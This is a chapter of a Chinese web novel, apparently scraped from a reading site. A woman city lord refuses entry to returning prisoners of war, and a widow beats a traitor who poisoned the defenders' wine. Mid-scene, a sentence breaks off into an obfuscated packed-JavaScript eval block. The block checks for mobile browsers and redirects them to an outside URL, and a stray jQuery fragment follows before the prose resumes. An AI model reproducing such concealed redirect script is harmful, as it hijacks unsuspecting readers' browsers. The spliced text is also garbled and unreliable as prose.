9.打狗

作品:《本城主纳个太子妃又何妨

    亥时刚过,大通城已陷入宵禁的沉寂。长街空荡,只余巡夜武侯整齐的脚步声在石板路上回响。


    “哒哒哒——”


    一阵急促的马蹄声由远及近,忽的在寂静的街道上响起,速度极快,转瞬便冲到了眼前。


    一个刚入伍不久的小个子武侯瞪大了眼——谁这么大胆?不仅敢在宵禁出门,还敢在城内纵马车狂奔!简直是把城规当儿戏!


    他热血上涌,下意识提起银枪,便要上前拦下这狂徒。


    领队的武侯却眼疾手快,一把将他拽了回来,同时低声喝令其余人迅速向道旁避让,清出更宽的通路。


    马车如一阵风似地掠过,径直扬长而去。


    “队、队正!为何不拦?”小个子又急又惑。


    领队屏气凝神,直到马车远去,方指着车上的徽记,语重心长道:


    “小子,记牢了。这大通城的规矩,管天管地,唯独管不了车里这位。”


    “为……为何?”


    “因为车内这位,便是定下大通城所有规矩的,城主——辛大人!”


    小个子心下骇然,转头望去,马车已只剩一个模糊黑点了。他踮脚又望了两息,恍然之余,心下疑惑又起:


    城主大人这深更半夜的,瞧着方向……竟像是要出城?


    ……


    马车内,柳文渊用袖子不断拭着额角的汗,向辛师汇报当下情况。


    “大人,祸不单行啊!城外义仓本就因北狄蝗灾来的流民挤得满满当当,州府批下来那点修缮款,满打满算也就三百两,刚够把流民安置妥当。可眼下北狄释放战俘竟不声不响就提前到了!朝廷的通行文书连个影子都没有,这、这可如何是好!”


    辛师指尖轻叩窗棂。


    两国合约刚成,算下日子北狄使团怕是刚回国都,怎会战俘今夜便已达边境?


    除非……这些人早就被送到了边城附近。


    但战俘交接乃国之大事,规程繁琐,查验复杂,往来文书没一两个月根本下不来。她早已上了加急奏折,可就算朝廷立刻批复,往返至少也需十日。


    远水难救近火。


    “眼下到了多少人?”辛师问。


    崔同立刻递上一本名册,道:“回大人,这一批,三百零七人。”


    “这一批?”辛师眼帘一掀。


    崔同点头,解释道:“交割使说,后续还有两批战俘正在路上。可是大人,我们没有朝廷文书,如何核验这册上之名是真是假?”


    无法核验,就不能放行。


    不能放行,这几百号人就得全部堵在城门口,城外本就岌岌可危的安置局面,会雪上加霜。


    怎么看,都是个死局。


    “先去看看。”她需要亲眼确定情况。


    马车不一会就停了。


    今夜的大通城门守备森严,手持火把的官兵数量比平日多了一倍不止,竟一时将城门附近照得亮如白昼。


    辛师从马车上下来,被这光亮刺得眯了眯眼。


    两侧官兵见到城主,瞬间噤声,齐刷刷躬身行礼。


    而恰就在这忽然静下来的一瞬间,那紧闭的巍峨大门缝里,竟隐约传来了城外激烈的争执声。


    崔同是武将,耳力敏锐,一瞬望了过去——城门外便是刚到的那群战俘,这是出什么事了?


    他尚在疑惑,身旁清冷的女声已开口下令:


    “开门。”


    开门?!


    守门官兵面面相觑,迟疑了一瞬——之前便是顾虑门外战俘众多,若是贸然开门,如若有人硬闯,恐引起混乱……


    “愣着做什么?”


    辛师的声音冷了下来。官兵不敢再耽搁,合力抬起沉重的门闩,“嘎吱”一声,推开了城门。


    ……


    大通城门外,果然有人见城门一开,就推搡着试图往里冲。


    却见城门后灯火昭昭,乌泱泱一片擐甲执兵的官兵,皆静默伫立,刀剑出鞘半寸,肃杀之气扑面而来。


    人群正中间,立着一名乌发黑氅的高挑女子,神色平静,却渊渟岳峙,周身散发着冷锐的气场。


    几个试图往前挤的战俘被她目光一扫,莫名止住了脚步,更有人似乎认出了这位昔日战场上的年轻女将,连连后退。


    辛师向前迈出一步。


    她看似身形纤细,落脚时却令方圆三丈的地面微微一震,浮尘轻扬。


    ……这是何等深厚的内力?


    众人目露惊骇,不由自主往齐刷刷向后退了一大步。


    辛师再往前一步。


    他们便又往后退一步。


    ……


    无人再起趁机闯入城的心思,哪怕此刻城门大开着。


    “我乃大通城主,辛师。”


    她的声音不高,却清晰地传入每一个人耳里。


    “诸位历尽磨难,重返故土,实乃我大景之幸。”辛师温凉的眼神扫过在场每一人——看上去北狄似乎并未刻意虐待俘虏,但也好不到哪去,这些战俘大多面黄肌瘦,衣衫褴褛,唯有一双双眼里还有些许期盼的光。


    她心底叹了一口气,语气平稳:“辛某也曾沙场征战,深知诸位归家心切,奈何——”


    她话锋一转,面容沉静。


    “国有国法。朝廷通行文书未至,辛某职责所在,今夜,无法放行。”


    人群立时骚动起来。


    张忠躲在人群后方,并未看到辛师方才走出来时的情形,只是被人群忽然挤得踉跄后退。


    他并非士兵,只是三曲城里的一个卖酒的,三曲城破之后,他靠着酿酒的技艺在北狄军营苟活至今,根本不认识辛师。


    听得这番话竟是出自一女子之口,他下意识皱起眉头,扒开人缝遥遥瞥去一眼——中央那女子年纪不大,一张脸倒是极美。


    张忠心里的轻视便冒了头。他从未见过女子为官,下意识便觉得这女子该是靠了些上不得台面的手段,不见得有真才实学,便壮着胆子,阴阳怪气扬声道:


    “呵——!就为了一张破纸,便让我们这些为国流过血的人,有国不能回,有家不能归!北狄尚给我等一处容身之地,没想到大人却要让我们在这荒郊野岭喝西北风!大人这般作为,比之北狄还不如!真是寒了天下人的心!”


    “放肆!!简直胡搅蛮缠!一派……一派胡言!”柳文渊闻言气得吹胡子瞪眼,一旁武将崔同更是直接拔出腰间佩剑,就要冲上去拿下这个刁民刺头。


    辛师却一抬手,止住了他。


    “质疑辛某者,出列。”


    场中忽的安静下来,无人动弹。


    辛师眼底划过一丝冷笑:“怎么?只敢在背后嚼舌根,不敢与我当面对峙?”


    张忠眼珠子滴溜溜一转,料心想区区一个女人能拿他怎样?于是探出半个身子,乜着眼睛瞧向辛师:“是老子说的又如何?大人莫非恼羞成怒了?”他顿了顿,看她未发作,以为被自己镇住了,心中得意更甚,甚至试图指点辛师该如何行事:


    “要我说啊……女人家就是头发长见识短,不懂变通!大人何不行个方便,先放我们这些大景英雄进城,寻个遮风挡雨的客栈安顿下来,再等朝廷文书来后查验,岂不两全其美?大家说是不是啊?”


    他振臂一呼,以为会得到周围人的响应,毕竟他们一路跋涉过来,此刻谁不想有个安稳地、睡个暖和觉?


    然而,四下竟无一人附和。战俘中不少人用一种奇怪的、看傻子似的眼神盯着他,甚至不约而同后退一步,令他一下孤立在人群之外。


    张忠心里“咯噔”一下,看向女子。


    “‘大景英雄’?”


    辛师玩味地重复了两遍,墨黑的瞳孔看向他,好像在笑,眼神里却一点笑意也无。


    张忠对上她的眼神,后背莫名生出寒意。他缩了缩脖子,不由自主后退了一步,试图把自己塞回人群里。


    却在这时,一声嘹亮的怒骂自右边不远处猛地响起。


    是安置流民的义仓位置。


    “张忠?!好啊……你个天杀的王八蛋居然还没死!你怎么还有脸回来?!还‘大景英雄’?我呸!你个狗熊都不是!畜生都不如的东西!”


    只见一个头发枯黄、四十来岁的妇人,从义仓内疾步走出,灰扑扑的袖子麻利一挽,顺手抄起墙角一根三指粗的打狗棍,风风火火地冲过来。


    那架势之猛,速度之快,趁着旁边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568354|186978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的士兵愣神的功夫,已经冲到了人群前头。


    辛师眉梢一扬,默不作声后退一步,贴心地让开空间。


    张忠起初被骂得一头雾水,待那妇人冲到近前,定睛瞧清了那妇人容貌,脸色猛地一变:“你……你是…王娘子?!你怎么会在这儿?不对……你怎么还活着?”


    那王娘子冷笑:“怎么?就许你这种背主求荣的畜生苟活,不许老娘从死人堆里爬出来?”她双手紧握打狗棍,兜头就朝张忠身上招呼去,“老娘不多活几年,还怎么找到你这个忘恩负义的东西!怎么替我枉死的夫君报仇!”


    张忠抱头鼠窜,却被一棍子抽在膝盖窝,“噗通”一声跌倒在地,连连告饶。王娘子却恍若未闻,只红了眼发了疯似的,棍棒一下接一下,往他身上猛砸下去。


    每砸一下,便怒骂一声。


    “你个狼心狗肺的东西!当年要不是我夫君看你快饿死街头,好心收留你来酒肆做个学徒,你怕是早就进野狗肚里了!”


    “十年啊!!我们供你吃穿,教你手艺,养了你整整十年!你就是这么报答我们的?!”


    啧,原来是出农夫与蛇。


    辛师又体贴地后退了两步,方便王娘子把打狗棍抡得虎虎生风,不时“好心”提醒两句:


    “王娘子,下手注意分寸,我看他腰上一寸似有旧疾……”


    打狗棍在空中一顿,随即精准地朝着地上人腰眼位置猛砸下去。


    “诶,还有右边脚踝,好像也不太利索,当心别碰着了……”


    打狗棍立刻转向,朝着足踝招呼。


    ……


    一旁的柳文渊、崔同看得目瞪口呆,不约而同地扭头看向自家城主,却见她不知从哪儿摸出来一小把瓜子,正看得津津有味。


    柳文渊咽了口唾沫,小步挪过去,厚着脸皮从辛师手里分走一半,也站在一旁,有样学样地嗑了起来。


    崔同看着这俩看戏的上官,嘴角抽搐。


    ……


    王娘子这些年颠沛流离,身子早已亏空,没打一会儿便气喘吁吁,力道也弱了下来。她实际才四十出头,一张枯黄的脸上却已饱经风霜、沟壑纵横,若说是六十也有人信。她盯着地上蜷缩成一团的张忠,双眼通红,浑身发颤:


    “当年……当年北狄打进来,三曲满城好儿郎歃血为誓,拼死守城,你、你做了什么?你竟然在他们出征前……在酒里下药!之后又杀我夫君,夺我酒方,投靠北狄……”王娘子字字泣血,声音嘶哑,却如同一把重锤狠狠砸在每一个人心上。


    辛师脸上的闲适一下子消失了——三曲城之战,她记得。那是五年前北狄撕开的第二道重要边防缺口,此后便长驱直入,一路南下,直逼京师。


    三曲城由安虎军驻守,其主将孟溢之便是死在那场战斗里。


    而在后来的军情奏报里,孟溢之却是死于冒进,以少敌多,被围困至死。


    还未容辛师细想,只见那王娘子忽地丢了手中棍棒,似觉得仍不解恨,猛地抽出身旁一名官兵腰间的佩剑,朝着地上的张忠心口狠狠刺去!


    这变故太快,众人根本来不及反应。


    只见那雪亮的剑尖已直逼张忠面门,映照出他惊惶的双眼。


    辛师动了。


    崔同只觉眼前一花,再定睛时,辛师已出现在王娘子身侧,二指夹住剑锋,看似轻巧却令其不得再进分毫。


    王娘子抬头,赤红的双眼盈满泪水,执拗地不肯松手。


    辛师看向她,目光相接。


    “王娘子,若此人确通敌叛国,我大景自当依律严惩,绝不姑息。”


    辛师眼中并非全然冷静,那里亦有悲欢沉浮。王娘子忽觉眼前这人懂得她的恨,她的怨,她的苦。


    她颤巍巍后退两步,长剑啷当一声脱手,人也跟着跌落在地,抱头掩面恸哭起来。


    辛师弯腰拾起那根打狗棍,走到抖如筛糠、头都不敢抬的张忠跟前,棍尖勾住他的衣领,直接把人从地上挑起来。


    “不是要个遮风挡雨的容身之处吗?本城主,成全你。”


    辛师看着满脸惊恐的张忠,平淡开口:


    “来人,回刑事堂地牢。好、生、招、待。”